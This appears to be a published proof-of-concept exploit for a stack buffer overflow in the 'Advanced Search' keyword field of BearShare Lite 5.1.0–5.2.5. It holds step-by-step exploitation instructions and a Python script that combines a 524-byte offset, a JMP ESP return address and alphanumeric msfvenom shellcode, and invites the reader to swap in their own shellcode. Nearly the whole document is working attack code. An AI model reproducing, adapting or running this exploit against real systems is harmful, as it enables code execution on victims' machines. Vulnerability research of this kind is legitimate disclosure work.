BearShare Lite 5.2.5 – ‘Advanced Search’Buffer Overflow in (PoC)
# Title: BearShare Lite 5.2.5 - 'Advanced Search'Buffer Overflow in (PoC) # Date: 2020-09-29 # Author: Christian Vierschilling # Vendor Homepage: http://www.bearshareofficial.com/ # Software Link: http://www.oldversion.com.de/windows/bearshare-lite-5-2-5 # Versions: 5.1.0 - 5.2.5 # Tested on: Windows 10 x64 EN/DE # CVE: NA # --- EXPLOTATION INSTRUCTIONS --- # # 1. Adjust the values for "jmp_esp" and "shellcode" if needed # 2. Run the script to generate a file pwn.txt, containing your payload # 3. Open pwn.txt on your target (!!) (e.g. in the browser or locally) and copy the contents into the clipboard # 4. Start BearShare, click on "Advanced..." and a new window will pop up. Put the payload from pwn.txt into the field "Keywords:" within the new window. Click on "Search" in this window and your payload will be executed. # --- PAYLOAD CONSTRUCTION --- # #!/usr/bin/python import binascii # Detected the offset for overwriting the EIP register using pattern_create and pattern_offset: [*] Exact match at offset 524 junk1 = 524*"A" # Address for a JMP ESP instruction found in MSVBVM60.DLL using mona.py (You will probably need to adjust this if using another OS, language etc.) # \x66\x06\x05\x35 jmp_esp = binascii.unhexlify('35050666') # Using another 4 bytes to align the stack for clean shellcode execution junk2 = 4*"B" # As we are limited to only being able to insert alphanumeric characters, we'll create an appropriate shellcode using msfvenom. Copy the output off the following command into the variable "shellcode" below: # msfvenom -p windows/exec cmd=calc.exe BufferRegister=esp -e x86/alpha_mixed shellcode = "TYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIylm8k2s0C0ePsPmYKUFQKpu4nk2ptpLKf26lLK3bTTNk1bexVoH7aZWVuaiollUl3QSLtBTlepyQZofmWqZgIrjRqBrwlKRrvpLK3zgLnkbl4Qt8hc3xc1HQv1lK2ya05QkcLK3ytXzCtzg9LKednkvaN6UaioNLzaZotM7qzgvXkPQeJVEScMIhWKQmq4T5xdChnkcha47qYCPfnkFlpKlKaHeLgqjsnk6dLKc1HPlI0Da4FDqKSkE1V9CjcaYoypcoaO0ZlKTRZKnm3msZ7qnmMUX230s05Pbpe8dqNkPoMWkO9EMkHpmenBcfU8MvnuMmMMKO9EelTFQlEZK0Ikm0puWumk1WuCD2PosZ7p1CyoxU3Se1bLbCDn55qhCUuPAA" # assemble payload payload = junk1 + jmp_esp + junk2 + shellcode # write payload into pwn.txt f = open("pwn.txt", 'w') f.write(payload) f.close() |